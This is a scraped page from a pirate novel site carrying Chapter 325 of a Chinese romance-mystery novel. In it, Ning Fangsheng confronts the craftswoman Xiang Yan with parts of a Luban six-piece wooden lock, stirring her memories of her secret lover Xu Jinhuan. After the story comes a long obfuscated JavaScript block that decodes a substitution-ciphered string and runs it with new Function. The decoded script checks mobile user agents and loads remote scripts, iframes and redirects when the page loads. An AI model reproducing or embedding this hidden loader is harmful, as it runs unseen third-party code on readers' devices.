第三百二十五章木锁
一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!
小花厅里,灯火通明。
项琰一脚踏进去,目光瞬间被桌上的一只匣子吸引。
无需再多看一眼,只一眼,她就能确定,这只匣子便是她床底下的那只匣子。
因为上面的火焰纹,是她一笔一笔画上去的。
她画的时候,那人在边上一边喝酒,一边低低地笑。
她恼了,拿眼睛瞪他。
“你笑什么?”
“笑你。”
“笑我什么?”
他看着她,轻声说:“你的手抖了。”
是的。
一个好工匠的手,不会轻易发抖,抓着锉刀的那瞬间开始,必须是稳稳的。
抖了,那就是心乱了。
因为他坐得太近,鼻息间的酒气,总若有若无地落在她脸上。
她记得很清楚。
那日他穿一身深青色袍服,胸口敞得很开,从唇边滚落的清酒,顺着他的颈脖滑落下去……
她一滴酒没沾,却也觉得要醉了。
项琰收起回忆的同时,也收回目光,大步走到宁方生面前。
他一身简单的黑衣坐在灯下,神色淡淡的,整个人就像一枚白玉,即便收敛着光芒,也夺人眼目。
上一回,她就发现了。
三人中,当属这个话最少的宁方生为中心。
她居高临下地冷笑一声:“你好好的人不做,非要做那梁上君子?”
宁方生缓缓起身:“若非如此,夫人不肯见我!”
项琰厉声道:“我凭什么要见你?”
宁方生抬起手,指了指自己的脑袋,微微一笑:“就凭我这里……有个故事。”
“我此生,最恨听的便是故事。”
项琰手指着桌上的那只匣子,“东西物归原主,我放你走,若不然……”
“一个故事而已,项夫人在怕什么?还是说……”
宁方生低下头,目光笔直落下:“夫人心里有鬼?”
项琰毫不畏惧地与他对视:“我行得端,坐得正,我有什么鬼?”
“你有。”
宁方生伸出手,掌心往前一送。
五根木棍,各有凹凸,静静地躺在男人苍白的掌心。
待她瞧清楚,那男人猛地一收手,背在身后,“夫人的鬼,在这里。”
他,竟然撬开了那只匣子。
项琰浑身的血液,直往头顶涌去,垂落下来的手不由自主地握成了拳头。
工匠的指甲都很短。
但再短的指甲用力掐进掌心里,痛意也随之而来。
饶是这样,项琰仍没有发怒,她只是连呼吸都隐忍到了最大的极限。
“既然物归不了原主,那我们就只有官府见了。”
“官府”两个字一出来,宁方生神色没有丁点变化,反而冲项琰淡淡一笑。
这一笑,充满着恶意。
他仿佛看穿了项琰的色厉内荏,虚张声势,用极为不屑的语气,缓缓道:
“话说,从前有一对有情人,男的是个放荡不羁的画师,女的是个沉默寡言的工匠。
这本该是牛马不相及的两个人,偏偏,他们相爱了。
没有人知道他们相爱,他们隐藏得很好,非常好。
情到浓处,他们也像这世间的普通男女一样,送定情信物。
那女子因为是工匠的原因,做了一个极为别致的东西,给那个画师。”
故事讲到这里,宁方生突然停了下来。
“项夫人,你可知道那个别致的东西叫什么?”
项琰没有说话,只是目光凶狠地看着面前的男人。
她并不知道。
她的眼睫微微颤抖,那些她自以为隐藏得很好的愤怒,委屈还有恨意,都尽数在这颤抖的双睫中,一点一点流露出来。
宁方生不忍多看,无声往后退了几步,拉开两人之间的距离。
“那个东西叫鲁班六通锁,是一种玩具,它由六根棍子组成。”
宁方生把背在身后的那只手,朝卫东君伸过去。
卫东君立刻起身,从他手上拿过那五根木棍,在方桌前坐下。
宁方生拿起其中一根,平静道:“五根小棍子上面,都有凹凸,其中有长缺口的那根棍子,是第一根;
中间山字形的,是第二根;
第三根和第四根的凹凸,是对称的;
有凹字形的是第五根。
组装的方法,说简单也简单,说难也难——第一步,将第一根和第二根摆一个十字架。”
宁方生一边说,卫东君一边将第一根和第二根摆好。
为了组装这个锁,她在客栈里足足演练了十几遍,
“第三根棍子,卡在十字架的左侧;第四根棍子,从前方滑进去;第五根棍子,卡住垂直的两根木棍,一直卡到最下方。
五根棍子组装在一起后,就留出了一个孔……”
宁方生后面的话,项琰已经听不见了。
她忽然想起了那个初冬的夜。
一轮上弦月挂在半空,她和他临河而坐。
他们前面支着一张小几,小几上摆着两只酒盅。
没有下酒菜。
她和他喝酒,从来不要下酒菜,彼此就是彼此的下酒菜。
没有人知道,她的酒量极好。
但他知道。
所以,他们聚在一起的时候,他都要备几壶好酒。
酒至三分,她拿出熬了几个夜,才做好的鲁班六通锁,演示给他看。
“许尽欢,你看,五根木棍组装在一起,就留出了一个孔,这时就需要第六根木棍,从孔里穿进去,才能把五根棍子固定住。”
他凑过来,拿起那第六根木棍,慢慢穿进孔里。
她松开手。
一只小巧的鲁班六通锁组装成功……
临别时,他突然问:“是不是第六根木棍,才是整个鲁班六通锁的关键。”
“是!没有这第六根,整个锁就是一盘散沙,无论如何都拼不出来。”
他看她良久,伸出长臂,缓缓将她的头揽进自己的怀中:“项琰,那五根木棍是我,第六根木棍是你。”
她从他的怀里抬起头,“为什么?”
他低下头,轻声道:“我这样一个破碎的人,一片一片又一片,唯有你,能让我完整。”
“夫人……项夫人……”
项琰猛地回过神,目光循声望去。
原来,是宁方生在喊她。
她佯装镇定:“何事?”
宁方生走到项琰面前,把手中的木棍递过去:“劳烦夫人,将这第六根木棍穿进孔里。”
第六根?
哪来的第六根。
项琰看着面前的木棍,目眦欲裂。
那个匣子里,统共只有五根。
他把第六根木棍要走了。
他说,想把它带进棺材里去,陪着他。
项琰一把拿过那根木棍,手熟稔地一翻,木棍底部的火焰纹尽现眼底——
双火叠加火焰纹。
每个手艺人,几乎一眼就能认出自己的东西。
这火焰纹的刀工,一看就是她的。
她此生刻过的火焰纹不计其数,但两个火焰叠加起来的火焰纹,却少之又少。
在木棍上刻双火叠加的火焰纹,她总共刻了六根。
项琰心底的黑洞,一瞬间裂开。
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();